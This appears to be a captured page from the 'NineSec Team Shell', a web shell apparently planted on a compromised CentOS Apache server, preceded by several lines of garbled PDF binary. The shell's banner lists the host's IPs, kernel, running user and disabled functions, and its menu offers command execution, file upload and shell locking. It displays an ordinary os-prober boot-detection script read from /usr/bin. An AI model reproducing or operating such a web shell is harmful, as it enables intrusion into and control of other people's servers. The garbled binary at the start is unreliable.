%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 10.0.3.46  /  Your IP : 172.70.179.129
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.2.34
System : Linux ukmjuara 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64
User : apache ( 48)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON
Directory (0555) :  /usr/bin/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //usr/bin/linux-boot-prober
#!/bin/sh

# dash shell does not have "{varname}>&1" feature that bash shell has
# for auto-assignment of new filedescriptors.
# It is cumbersome to write the 'eval' to use our own variables in redirections.
# Therefore use fixed numbers.
export fd_result=3  # file descriptor for external results
export fd_logger=9  # file descriptor for input to logger

. /usr/share/os-prober/common.sh

set -e

newns "$@"
require_tmpdir
ERR="n"

tmpmnt=/var/lib/os-prober/mount
if [ ! -d "$tmpmnt" ]; then
	mkdir "$tmpmnt"
fi

mounted=
bootmnt=
bootsv=
bootuuid=

grep "^/dev/" /proc/mounts | parse_proc_mounts >"$OS_PROBER_TMP/mounted-map" || true

if [ -z "$1" ]; then
	ERR=y
elif [ "$1" = btrfs -a -z "$2" ]; then
	ERR=y
elif [ "$1" = btrfs -a -z "$3" ]; then
	ERR=y
elif [ "$1" = btrfs ]; then
	type=btrfs
	echo "$2" | grep -q "^UUID=" || ERR=y
	echo "$3" | grep -q "^subvol=" || ERR=y	
	export "$2"
	export "$3"
	partition=$(blkid | grep "$UUID" | cut -d ':' -f 1 | tr '\n' ' ' | cut -d ' ' -f 1)
	debug "btrfs: partition=$partition, UUID=$UUID, subvol=$subvol"
else
	partition="$1"
	type=other
fi

if [ "x$ERR" != xn ]; then
	echo "usage: linux-boot-prober partition" >&2
	echo "       linux-boot-prober btrfs UUID=<> subvol=<>" >&2
	exit 1
fi

if [ "$type" = btrfs ]; then
	# handle all of the btrfs stuff here
	if [ ! -e "/proc/self/mountinfo" ]; then
		warn "/proc/self/mountinfo does not exist, exiting"
		umount "$tmpmnt" 2>/dev/null
		rmdir "$tmpmnt" 2>/dev/null
		exit 1
	fi
	mpoint=$(grep "btrfs" /proc/self/mountinfo | grep " /$subvol " | grep " $partition " | cut -d ' ' -f 5)
	if [ "$mpoint" = "/" ]; then
		warn "specifying active root not valid, exiting"
		umount "$tmpmnt" 2>/dev/null
		rmdir "$tmpmnt" 2>/dev/null
		exit 1
	fi
	if [ "$mpoint" = "$tmpmnt" ]; then
		warn "btrfs subvol=$subvool, UUID=$UUID, already mounted on $tmpmnt **ERROR**"
		umount "$tmpmnt" 2>/dev/null
		rmdir "$tmpmnt" 2>/dev/null
		exit 1
	fi
	if [ -z "$mpoint" ]; then
		# mount the btrfs root
		if ! mount -o subvol=$subvol -t btrfs -U $UUID "$tmpmnt" 2>/dev/null; then
			warn "error mounting btrfs subvol=$subvol UUID=$UUID"
			umount "$tmpmnt/boot" 2>/dev/null
			umount "$tmpmnt" 2>/dev/null
			rmdir "$tmpmnt" 2>/dev/null
			exit 1
		fi
	else
		# bind-mount
		if ! mount -o bind "$mpoint" "$tmpmnt" 2>/dev/null; then
			warn "error mounting btrfs bindfrom=$mpoint subvol=$subvol UUID=$UUID"
			umount "$tmpmnt/boot" 2>/dev/null
			umount "$tmpmnt" 2>/dev/null
			rmdir "$tmpmnt" 2>/dev/null
			exit 1
		fi
	fi
	debug "mounted btrfs $partition, subvol=$subvol on $tmpmnt"
	if [ ! -e "$tmpmnt/etc/fstab" ]; then
		warn "btrfs subvol=$subvol not root"
		umount "$tmpmnt" 2>/dev/null
		rmdir "$tmpmnt" 2>/dev/null
		exit 1
	fi
	bootmnt=$(parsefstab < "$tmpmnt/etc/fstab" | grep " /boot ") || true
	if [ -z "$bootmnt" ]; then
		# /boot is part of the root
		bootpart="$partition"
		bootsv="$subvol"
	elif echo "$bootmnt" | cut -d ' ' -f 3 | grep -q "btrfs"; then
		# separate btrfs /boot subvolume
		bootsv=$(echo "$bootmnt" | cut -d ' ' -f 4 | grep "^subvol=" | sed "s/subvol=//" )
		bootuuid=$(echo "$bootmnt" | cut -d ' ' -f 1 | grep "^UUID=" | sed "s/UUID=//" )
		debug "mounting btrfs $tmpmnt/boot UUID=$bootuuid subvol=$bootsv"
		bindfrom=$(check_btrfs_mounted $bootsv $bootuuid)
		if [ -n "$bindfrom" ]; then
			# already mounted some place
			if ! mount -o bind $bindfrom "$tmpmnt/boot" 2>/dev/null; then
				warn "error bind mounting btrfs boot subvol=$bootsv, from=$bindfrom"
				umount "$tmpmnt/boot" 2>/dev/null
				umount "$tmpmnt" 2>/dev/null
				rmdir "$tmpmnt" 2>/dev/null
				exit 1
			fi
		elif ! mount -o subvol=$bootsv -t btrfs -U $bootuuid "$tmpmnt/boot" 2>/dev/null; then
			warn "error mounting btrfs boot partition subvol=$bootsv, UUID=$bootuuid"
			umount "$tmpmnt/boot" 2>/dev/null
			umount "$tmpmnt" 2>/dev/null
			rmdir "$tmpmnt" 2>/dev/null
			exit 1
		fi
		bootpart=$(grep " btrfs " /proc/self/mountinfo | grep " /$bootsv " | cut -d ' ' -f 10)
	else
		# non-btrfs partition or logical volume
		linux_mount_boot $partition $tmpmnt
		bootpart="${mountboot%% *}"
		bootsv=
	fi
	
	test="/usr/libexec/linux-boot-probes/mounted/40grub2"
	if [ -f $test ] && [ -x $test ]; then
		debug "running $test $partition $bootpart $tmpmnt $type $subvol $bootsv"
		if $test "$partition" "$bootpart" "$tmpmnt" "$type" "$subvol" "$bootsv"; then
			debug "$test succeeded"
		fi
	fi
	umount "$tmpmnt/boot" 2>/dev/null || true
	if ! umount "$tmpmnt" 2>/dev/null; then
		warn "problem umount $tmpmnt"
	fi
	rmdir "$tmpmnt" 2>/dev/null || true

	exit 0
fi

if ! mapped="$(mapdevfs "$partition")"; then
	log "Device '$partition' does not exist; skipping"
	continue
fi

( (
if ! grep -q "^$mapped " "$OS_PROBER_TMP/mounted-map"; then
	for test in /usr/libexec/linux-boot-probes/*; do
		if [ -x $test ] && [ -f $test ]; then
			debug "running $test"
			if $test "$partition"; then
				debug "linux detected by $test"
				break
			fi
		fi
	done
else
	mpoint=$(grep "^$mapped " "$OS_PROBER_TMP/mounted-map" | head -n1 | cut -d " " -f 2)
	mpoint="$(unescape_mount "$mpoint")"
	if [ "$mpoint" != "/target/boot" ] && [ "$mpoint" != "/target" ] && [ "$mpoint" != "/" ]; then
		type=$(grep "^$mapped " "$OS_PROBER_TMP/mounted-map" | head -n1 | cut -d " " -f 3)
		if ! grep -q " $mpoint/boot " "$OS_PROBER_TMP/mounted-map"; then
			linux_mount_boot "$partition" "$mpoint"
			bootpart="${mountboot%% *}"
			bootmounted="${mountboot#* }"
		else
			bootpart="$(grep " $mpoint/boot " "$OS_PROBER_TMP/mounted-map" | head -n1 | cut -d " " -f 4)"
			bootmounted=0
		fi
		for test in /usr/libexec/linux-boot-probes/mounted/*; do
			if [ -f $test ] && [ -x $test ]; then
				debug "running $test on mounted $partition"
				if $test "$partition" "$bootpart" "$mpoint" "$type"; then
					debug "$test succeeded"
					break
				fi
			fi
		done
		if [ "$bootmounted" = 1 ]; then
			if ! umount "$mpoint/boot"; then
				warn "failed to umount $mpoint/boot"
			fi
		fi
	fi
fi
) 9>&1 | logger 1>&-  # fd_logger
) 3>&1  # fd_result

NineSec Team - 2022